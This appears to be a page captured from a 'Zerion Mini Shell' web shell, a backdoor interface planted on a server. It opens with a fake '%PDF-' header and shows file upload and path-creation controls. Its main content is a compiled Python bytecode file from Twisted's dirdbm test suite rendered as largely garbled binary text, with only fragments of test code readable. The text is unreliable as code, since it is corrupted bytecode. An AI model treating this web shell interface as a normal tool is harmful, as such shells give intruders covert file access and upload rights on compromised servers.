%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/test_dirdbm.cpython-312.pyc

�

Ϫ�f����dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZGd�d	ej�Z
Gd
�de
�Ze
egZy)z
Test cases for dirdbm module.
�N)�	b64decode)�dirdbm)�rebuild)�FilePath)�unittestc�L�eZdZd
d�Zd
d�Zd
d�Zd
d�Zd
d�Zd
d�Zd
d�Z	d
d	�Z
y)�DirDbmTestsNc��t|j��|_tj|jj�|_d|_y)N)�sabcsfoo�s/lalals�s
sbaz)r�mktemp�pathr�open�dbm�items��selfs �:/usr/lib/python3/dist-packages/twisted/test/test_dirdbm.py�setUpzDirDbmTests.setUps6���T�[�[�]�+��	��;�;�t�y�y�~�~�.���X
��
�c��td�}d|j|<d|j|<|j|j|d�y)Nz//==�a)rr�assertEqual)r�ks  r�test_allzDirDbmTests.test_alls>���f���������������������!��d�+rc�j�tjd�}d|d<tjt�y)Nzdirdbm.rebuild.test�valueskey)r�Shelfr)r�ss  r�test_rebuildInteractionz#DirDbmTests.test_rebuildInteraction!s&���L�L�.�/����&�	�����rc
�n�|j}g}t�}|jD],\}}|||<|j|�|j	|��.|j�|jD],\}}|j
||�|j|||��.	|dJd��#t$rYnwxYw|j�}t|j��}t|j��}|j�t|j�}	|j||dt|��dt|����|j||djt|�t|���|j|	|dt|	��dt|����|j�}
|j|
�}|j�}t|j��}
t|j��}|j�|j||djt|�t|���|j||
d	t|��dt|
����|j||d
t|��dt|����|j�|j!t#|j��t#|j��cxk(xr5t#|j��cxk(xrt#|�cxk(xrdk(ncd�|j%t#|�t#|��t'j(|
�|jD]\}}||=|j+||d��|jt#|j��dd
�|jt#|j��dd�|jt#|j��dd�|jt#|�dd�y)NsXXXrz)didn't raise KeyError on non-existent keyz.keys() output didn't match: z != z'.values() output didn't match: {} != {}zitems() didn't match: z'.copyTo().keys() didn't match: {} != {}z!.copyTo().values() didn't match: z .copyTo().items() didn't match: z.clear() failedz3key is still in database, even though we deleted itzdatabase has keyszdatabase has valueszdatabase has items)r�setr�append�add�sort�assertInr�KeyError�keys�values�repr�formatr�copyTo�clear�
assertTrue�len�assertNotEqual�shutil�rmtree�assertNotIn)r�dr)r*r�v�dbkeys�dbvalues�dbitemsr�copyPath�d2�copykeys�
copyvalues�	copyitemss               r�test_dbmzDirDbmTests.test_dbm&s~���H�H��������J�J�	�D�A�q��A�a�D��K�K��N��J�J�q�M�	�	
�	�	���J�J�	&�D�A�q��M�M�!�Q�����Q�q�T�1�%�	&�
	B�
�f�I�
B�A�A�1���	��	��������q�x�x�z�?���a�g�g�i�.�����
��D�J�J��������+�D��J�<�t�D��L�>�J�	
�
	
�����5�<�<��V��d�8�n�
�	
�	
�����$�T�%�[�M��d�7�m�_�E�	
��;�;�=��
�X�X�h�
���6�6�8�������_�
�����	�N�	��
�
�������5�<�<��V��d�8�n�
�	
�	
������H�~�t�J�/�
1�	
�	
������F�|�T�)�_�
.�	
�	���
��������	�N�c�"�)�)�+�.�Q�#�b�h�h�j�/�Q�S��W�Q�PQ�Q��	
�	
���C��F�C��G�,��
�
�h���J�J�	�D�A�q��!������1�K�
�	�
	
����Q�V�V�X���+>�?�����Q�X�X�Z��!�-B�C�����Q�W�W�Y���,@�A�����Q���$8�9s� B,�,	B8�7B8c��ddl}d|jd<|jt|j�|jj	d�z
�dk�|jt|jjd�y)Nr�v�k�snokey)�timerr/�abs�getModificationTime�assertRaisesr()rrDs  r�test_modificationTimez!DirDbmTests.test_modificationTime�sa�������������D�I�I�K�$�(�(�*F�*F�t�*L�L�M�QR�R�S����(�D�H�H�$@�$@�(�Krc�X�|jjd�}|jj|dz�j	d��5}|jd�ddd�|jjd�}|jj|�j	d��5}|jd�ddd�|jj|dz�j	d��5}|jd	�ddd�|jjd
�j	d��5}|jd�ddd�t
j|jj�}|j|dd�|j|dd�|j|jjd��|j|jjd
��y#1swY���xYw#1swY��LxYw#1swY��xYw#1swY��xYw)zJ
        DirDBM: test recovery from directory after a faked crash
        skey1s.rpl�w)�moderNskey2scorrectswrongzaa.newsdeletedz*.newz*.rpl)r�_encoder�childr�writer�DirDBMr�assertFalse�globChildren)rr�f�k2rs     r�
test_recoveryzDirDbmTests.test_recovery�s���
�H�H���W�%��
�Y�Y�_�_�Q��[�
)�
.�
.�C�
.�
8�	�A�
�G�G�H��	��X�X�
�
�g�
&��
�Y�Y�_�_�R�
 �
%�
%�3�
%�
/�	 �1�
�G�G�J��	 �
�Y�Y�_�_�R�'�\�
*�
/�
/�S�
/�
9�	�Q�
�G�G�H��	��Y�Y�_�_�X�
&�
+�
+��
+�
5�	 ��
�G�G�J��	 ��m�m�D�I�I�N�N�+������W��x�0�����W��z�2�������/�/��8�9�������/�/��8�9�!	�	��	 �	 ��	�	��	 �	 �s0�
G9�*H�2H�7H �9H�H�H� H)c���|jt|jjdd�	|jt|jjdd�|jt|jjd�|jt|jjd�|jt|jjd�|jt|jjd�|jt|jjd�y#tj
$r.|j
|jtj�Y��wxYw)zx
        L{dirdbm.DirDBM} operations only support string keys: other types
        should raise a L{TypeError}.
        ��3�2rCN)rG�	TypeErrorr�__setitem__r�FailTest�assertIsInstancerr�__getitem__�__delitem__�has_key�__contains__rFrs r�test_nonStringKeyszDirDbmTests.test_nonStringKeys�s��
	
���)�T�X�X�%9�%9�1�c�B�	:����i����)=�)=�s�A�F�	
���)�T�X�X�%9�%9�1�=����)�T�X�X�%9�%9�1�=����)�T�X�X�%5�%5�q�9����)�T�X�X�%:�%:�A�>����)�T�X�X�%A�%A�1�E��� � �	:��!�!�$�(�(�F�L�L�9�	:�s�,D2�2=E3�2E3c���dttdtddfd�}d|jd<|j	|jd|�|jt|jjdd	�y)
z4
        Failure path when setting an item.
        r�data�returnNc�:�|j|�td��)Nz
fail to write)�
setContent�OSError)rrcs  r�
_writeFailz,DirDbmTests.test_failSet.<locals>._writeFail�s���O�O�D�!��/�*�*rstestsfailkey�
_writeFilestest2)r�str�bytesr�patchrG�IOErrorrZ)rrhs  r�test_failSetzDirDbmTests.test_failSet�sb��
	+�X�c�]�	+�%�	+�D�	+� '�������
�
�4�8�8�\�:�6����'�4�8�8�#7�#7��X�Nr�rdN)�__name__�
__module__�__qualname__rrr!r?rHrTrarn�rrr	r	s/��
�,� �
^:�@L� :�.F�"Orr	c��eZdZdd�Zy)�
ShelfTestsNc��t|j��|_tj|jj�|_d|_y)N)rrr
)sint�)sfloatg(@)stuple)Nrw)rrrrrrrrs rrzShelfTests.setUp�s5���T�[�[�]�+��	��<�<��	�	���/���
��
rro)rprqrrrrsrrruru�s��

rru)�__doc__r2�base64r�twisted.persistedr�twisted.pythonr�twisted.python.filepathr�
twisted.trialr�TestCaser	ru�	testCasesrsrr�<module>r�sM�����$�"�,�"�xO�(�#�#�xO�v
��
��*�%�	r

Zerion Mini Shell 1.0